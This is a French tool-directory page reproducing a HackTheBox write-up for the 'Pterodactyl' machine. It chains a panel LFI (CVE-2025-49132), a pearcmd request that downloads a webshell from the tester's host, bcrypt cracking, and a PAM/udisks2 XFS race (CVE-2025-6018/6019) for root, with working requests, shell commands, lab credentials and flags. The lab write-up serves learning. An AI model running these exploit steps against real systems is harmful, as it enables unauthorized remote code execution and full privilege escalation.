Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
HTB-Pterodactyl-Writeup — HackTheBox — Procédure pas à pas de Pterodactyl (Medium/Linux). CVE-2025-49132 LFI → pearcmd RCE → craquage bcrypt → SSH. Élévation de privilèges via CVE-2025-6018 (contournement de pam_environment PAM) + CVE-2025-6019 (condition de course de redimensionnement XFS udisks2, contournement nosuid) → root. Notes complètes et étapes incluses. | Kitploit
Outils/GitHubGitHub/v0idw1re/htb-pterodactyl-writeup
Cassage de Mots de PasseEscalade de PrivilègesReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsPost-Exploitation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

HackTheBox — Procédure pas à pas de Pterodactyl (Medium/Linux). CVE-2025-49132 LFI → pearcmd RCE → craquage bcrypt → SSH. Élévation de privilèges via CVE-2025-6018 (contournement de pam_environment PAM) + CVE-2025-6019 (condition de course de redimensionnement XFS udisks2, contournement nosuid) → root. Notes complètes et étapes incluses.

CTF
Tests d'Intrusion
Apprentissage et Éducation
Labs et Pratique
GitHubv0idw1re/htb-pterodactyl-writeup

HTB-Pterodactyl-Writeup

Voir le dépôt
12il y a 5 moisPas encore vérifié
Partager

Rapport de Test d'Intrusion — HackTheBox : Pterodactyl

Date : 8 avril 2026
Cible : Pterodactyl (HackTheBox)
Difficulté : Moyenne
OS : Linux (openSUSE Leap 15.6)
Testeur : V0idW1re


Résumé Exécutif

La machine Pterodactyl sur HackTheBox présentait un scénario d'attaque réaliste impliquant une application web mal configurée et des enchaînements de vulnérabilités d'élévation de privilèges. Partant d'une position non authentifiée, le testeur a obtenu un compromis total root via une séquence logique d'étapes d'exploitation. La chaîne d'attaque comprenait une vulnérabilité d'inclusion locale de fichier (LFI) non authentifiée, l'utilisation créative d'un gestionnaire de paquets PHP pour une exécution de code à distance, l'extraction et le craquage d'identifiants, et enfin l'enchaînement de deux CVE publiquement divulguées pour passer d'un utilisateur à faibles privilèges à root.


Périmètre

ChampValeur
IP cible10.129.25.223
Nom d'hôtepterodactyl.htb
OSopenSUSE Leap 15.6
ServicesSSH (22), HTTP (80)
Sous-domainespanel.pterodactyl.htb

Méthodologie

L'évaluation a suivi une méthodologie standard de test d'intrusion :

  1. Reconnaissance et énumération des services
  2. Analyse de l'application web
  3. Exploitation initiale
  4. Post-exploitation et mouvement latéral
  5. Élévation de privilèges
  6. Preuve de compromission

Résultats

Résultat 1 — Inclusion Locale de Fichier non authentifiée (CVE-2025-49132)

Sévérité : Critique
Composant : Pterodactyl Panel v1.11.10 — point d'accès /locales/locale.json

Description :
Le point d'accès des locales du Pterodactyl Panel n'a pas nettoyé les paramètres de requête locale et namespace, permettant un parcours de répertoire. Comme l'application ajoute .php à la valeur du namespace et le charge via le mécanisme d'inclusion de PHP, un attaquant pouvait forcer le serveur à charger et exécuter des fichiers PHP arbitraires sur le système de fichiers.

Exploit :

GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database

Impact :
Les identifiants de la base de données ont été extraits de config/database.php :

  • Nom d'utilisateur : pterodactyl
  • Mot de passe : PteraPanel
  • Base de données : panel

La clé d'application Laravel a également été extraite de config/app.php.

Preuve :

{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}

Résultat 2 — Exécution de Code à Distance via pearcmd.php

Sévérité : Critique
Composant : Installation PHP PEAR + LFI

Description :
Avec la primitive LFI établie, le testeur a exploité le script pearcmd.php du gestionnaire de paquets PEAR. Lorsque la configuration PHP a register_argc_argv=On (confirmé via phpinfo), la chaîne de requête est interprétée comme des arguments de ligne de commande par pearcmd. La commande download a été utilisée pour récupérer un webshell PHP depuis le serveur de l'attaquant et l'enregistrer dans le répertoire public du panel.

Exploit :

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php

Impact :
Un webshell PHP a été écrit dans /var/www/pterodactyl/public/shell.php, fournissant une exécution de code à distance non authentifiée en tant qu'utilisateur wwwrun.

Preuve :

http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)

Résultat 3 — Identifiants de Base de Données en Clair et Stockage Faible des Mots de Passe

Sévérité : Élevée
Composant : Base de données MySQL panel

Description :
En utilisant le shell RCE, le testeur s'est connecté à la base de données MySQL en utilisant les identifiants obtenus via LFI. La table users contenait des mots de passe hachés avec bcrypt pour tous les utilisateurs du panel. Le hash de l'utilisateur phileasfogg3 a été craqué hors ligne à l'aide d'une liste de mots courante.

Exploit :

SELECT username, password FROM users;

Identifiant craqué :

  • Nom d'utilisateur : phileasfogg3
  • Mot de passe : !QAZ2wsx

Impact :
L'accès SSH a été obtenu en tant que phileasfogg3, et le flag utilisateur a été récupéré :

user.txt: 916235b4261e70fdb090402c641a7808

Résultat 4 — Contournement de Privilège par Variables d'Environnement PAM (CVE-2025-6018)

Sévérité : Élevée
Composant : Configuration PAM — pam_env.so avec user_readenv=1

Description :
La configuration PAM sur openSUSE Leap 15.6 source le fichier ~/.pam_environment de l'utilisateur via pam_env.so avec user_readenv=1. En définissant des variables d'environnement spécifiques dans ce fichier, un utilisateur SSH non privilégié peut tromper systemd-logind et Polkit en leur faisant croire que la session est une session active sur une console physique, obtenant ainsi les privilèges allow_active.

Exploit :

echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

Après reconnexion via SSH, la session a été reconnue comme Active=yes, permettant des appels non privilégiés aux méthodes D-Bus d'udisks2 qui nécessitent normalement une présence sur une console physique.

Preuve :

udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# No authentication prompt

Résultat 5 — Condition de Course lors du Redimensionnement XFS dans udisks2 (CVE-2025-6019)

Sévérité : Critique
Composant : udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize

Description :
Lorsque udisks2 redimensionne un système de fichiers XFS via libblockdev, il monte temporairement l'image du système de fichiers dans un répertoire accessible à tous sous /tmp/blockdev.* sans les flags de montage nosuid et nodev. Cela crée une brève fenêtre de condition de course pendant laquelle tout binaire SUID présent dans l'image peut être exécuté avec un UID effectif élevé.

Un attaquant disposant des privilèges Polkit allow_active (obtenus via CVE-2025-6018) peut :

  1. Créer une image XFS contenant un binaire bash SUID appartenant à root
  2. Configurer un périphérique loop via udisksctl loop-setup
  3. Déclencher le redimensionnement via D-Bus
  4. Lancer la course pour exécuter le binaire SUID pendant la fenêtre de montage temporaire sans nosuid

Note critique sur la compatibilité de l'image XFS :
L'image XFS doit être créée avec des flags spécifiques pour openSUSE Leap 15.6 (SP5/SP6) :

mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

Exploit :

# Construire l'image XFS malveillante (sur la machine de l'attaquant)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt

# Sur la cible — lancer la course pendant la fenêtre de redimensionnement
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
    /tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
    /org/freedesktop/UDisks2/block_devices/loop0 \
    org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0

Preuve :

/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

Flag root :

root.txt: d3a242011c18cb81f08ad80337330641

Preuve d'Accès

FlagValeur
user.txt916235b4261e70fdb090402c641a7808
root.txtd3a242011c18cb81f08ad80337330641

Résumé de l'Élévation de Privilèges

Télécharger l’outil